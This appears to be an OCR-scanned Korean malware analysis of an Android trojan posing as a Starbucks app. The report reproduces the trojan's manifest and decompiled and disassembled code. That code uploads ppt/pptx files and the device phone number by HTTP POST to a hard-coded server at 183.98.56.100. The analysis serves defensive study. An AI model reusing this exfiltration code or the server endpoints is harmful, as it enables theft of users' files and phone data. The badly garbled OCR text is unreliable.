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(2) HMIAE 24
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Detection Name File Name ot sl
Trojan.Android.Peak.Smsh1l StarBucks.apk okxoh MX|I{7|X|

rge

ofd ¥o| DjLIHAE LpOlLt.

|package="com.peak.smsh1" |
-
“uses—sdk

android:min3dkVersion="14"
android: targetSdkVersion=r197
=
</ uses—=sdk>
<uSesS—permission
android: namwe="android. permission. READ FHONE_ STATE™
=
</ uses-permission>
<uses—-permission
android: name="android.permission. ACCEZS NETWORE STATE™
=
</ uses—permission>
“uses—permission
android: name="android. permission. INTERNET"™
=3
</uses-permission>
Applicat 1o
android: theme="Handroid: 01030124
android: labe l="E7FOS0000
android: icon="A7FOzZ0001'
android:debuggable="true’
android:allowEBackup="trues’
=S
<activity
android: label="W7FO50000™
android:name%"com.peak.smshl.Hainﬂctivitg"
=
<intent-filter
=
<action
android: name="android. intent.accion. MATH™
=
“/action>
“oatedgory
android: name="android. intent . category.LATNCHER'
=
c/oategor v
</ intent-filter:>
< Sactivitys
</application>
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o AlYsce |

-8 android suppert.vd

=-£f com.peaksmshl
- [J] Base64Test
m BuildConfig
5 [J] MainActivity

0 R

Baseb4Test.class | MainActivity.class x|

}

/¢ ERROR [/
@android.annotation. Suppreaslint ({"Newlpi™})
protected void onCreate (android.os.Bundle paramBundle)

[ [J] XORTest [

D"'E’ grg_apar_he // Byte code:
A 0: alead 0
/f 1t aload 1
I 2: invokespecial 22 android/app/Activity:onCreate
#f  5: aload 0
/f &1 astore 2
i T: 1de 227
i 9: istore_3
/f  10: aload 2
i 11: iload 3
I 2: invokevirtual 231 com/peak/smshl/MainActivity:se
i 15: 1lde 233
i 17: 1de 235
I 19: inwvokestatic 241 android/util/Log:d {(Ljava/
ff 22: istore 4
I 24: getstatic 247 android/os/BuildsVERSION:SDE_INT
I 27: istore 5
Iy 29: bipush 9
/f 31: istore &
i 33: jload 5

CtE22 717|328 S4Xte MHE YZE St= URL 0| EQICH

loc_63394:

const/16
const-string
const-string
const-string
new-instance
invoke-static/range
move-result-object
invoke-direct/range
const-string
invoke-virtual/range
move-result-object
invoke-virtual/range
move-result-object
if-eqz

vi6, 1

v8, empty_str

vi7, empty_str

v26, empty_str

v29, <t: StringBuilder>

{v26..v26}, <ref String.valueDf{ref) imp. @ def_String valueOfBELL>

38

{u29.._v3n}, <void StringBuilder.<init>(ref) imp. @ def StringBuilder__init_@ULﬂ
38, aHttp183_98_56_ (# "http://183.98.56.100:8882/sms.php?”

{u29..v38}, <ref Str N

u29

{v29..v29}, <ref StringBuilder.toString({) imp. @ _def_StringBuilder_toString@L>
26

vi6, loc_637D8

e o HR2lo| Xt DY T WX} pptef ppixgl TAS MESE BEFO

&f} !5{!”' Copyright © by EST=oft Corp. All right= resamnad
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loc_6365A:
aget-object

invoke-virtual
move-result-object
nove-object/from1b
nove-object/from1b
invoke-virtual
move-result-object
new-instance
const-string
nove-object/from1b
invoke-direct
new-instance
const-string
move-object/Fromis
invoke-direct
invoke-virtual
move-result

if-nez

# try B26365E-0x63788:

uiz, v3d, v29

{v12}, <ref File.getMame{) imp. B _def_File getMame@L>
w23

ul, this

ui, v23

{vd, v1}, <ref HainActivity . GetFileExt{ref) HainActivity GetFileExt@ELL>

u3

ul, <t: String>

v32, aPptx u

v, v32

{vh, vB}, <void String.<init>(ref) imp. @ _def_String__init_@UL>
5, {t: String>

vaz, aPptm

3z, aPp[t “ppt |

{v5, vB}, <void String.<init>(ref) imp. @ _def_String__init_@UL>
{v3, v4}, <boolean String.equals{ref) imp. @ _def String_equals@ZL>

u3i2
v32, loc 636B2

2 ZA7t ppt, pptxQl MAO| AS FF WS Y=E 3= ZEO|LL

const-string
new-instance
const-string
invoke-direct/range
move-ohject/Fronié
invoke-virtual
move-result-object
invoke-virtual/range
move-result-object
invoke-static/range
new-instance
invoke-direct
const-string
new-instance
invoke-direct/range
invoke-virtual/range
move-result-object
new-instance
invoke-direct/range
const-string
new-instance
move-object/Fromlé
invoke-direct
move-object/fromla
move-object/fronié
move-ohject/Fronié
invoke-virtual
const-string
new-instance
const-string
invoke-static/range
move-result-object
move-ohject/Fronié
move-object/fromla
invoke-direct
move-ohject/fronié
move-object/Fromlé
move-object/fromla
invoke-virtual
move-ohject/Fronié
move-object/fromla
invoke-virtual
move-object/Fromlé
invoke-interface
move-result-object
invoke-interface/ranae

v32, aKkrh

v33, <t: StringBuilder>

u3k, aFileext1111111 # “"FileExt1111111:

{v33..v34}, <void StringBuilder.<{init>{ref) imp. @ _def_StringBuilder_ init_@uL>
ug, v33d

{uvB, v3}, <ref StringBuilder.append{ref) imp. @ unk_1F1E8>

v33

{v33..v33}, <ref StringBuilder.toString({} imp. @ _def_StringBuilder_toString@L3>

u33

{v32..v33}, <int Log.e{ref, ref) imp. @ _def_Log_eBILL>

vi1, <t: DefaultHttpClient>
{u11}, <void Default i ini i i

v2@, aHttp183_98_5_B|# “hitp://183.98.56.1008:8882/upload.php”
v19, <t: HttpPost>
{vi19..v28}, <void HttpPost.{init>{ref) HttpPost_ init_GUL>

{v25..v25}, <{ref TelephonyManager.getLine1Number() imp. @ _def_TelephonyManager_getLine1Number@L>
uh

w21, <t: HMultipartEntity>

{v21..v21}, <void HultipartEntity.<{init>{) HultipartEntity__init_@U>

v32, alploadedfile # "uploadedfile”

v33, <t: FileBody>

vl, v3d

{uB, v12}, <void FileBody.<init>{ref) FileBody__init_@UL>

vg, v21

v, w32

vz, v33d

{vB, v1, v2}, <void MultipartEntity.addPart{ref, ref) HultipartEntity_addPart@ULL>

v32, aFilename_2 # “filename™

v33, <{t: StringBody>

u3hy, altf8 & “UTF-8"

{v3d4.._v34}, <ref Charset.forName{ref) imp. @ _def_Charset_forName@LL>

u3h

ug, v33d

ul, v3h

{vB, vb, v1}, <void StringBody.<init>{ref, ref) StringBody_ init_ EULL>

vl, v21

ul, w32

vz, v33d

{va, v1, v2}, <void MultipartEntity.addPart{ref, ref) HultipartEntity_addPart@ULL>

ug, vi9

ul, v21

{vB, v1}, <void HttpPost.setEntity(ref) imp. @ _def_HttpPost_setEntity@UL>

vl, vi9

{v11, vB}, <ref HttpClient.execute(ref) imp. @ _def_HttpClient_execute@LL>

22

{v22..v22}, <ref HttpResponse.getEntitu{) imp. @ def HttpResponse getEntitu@L>
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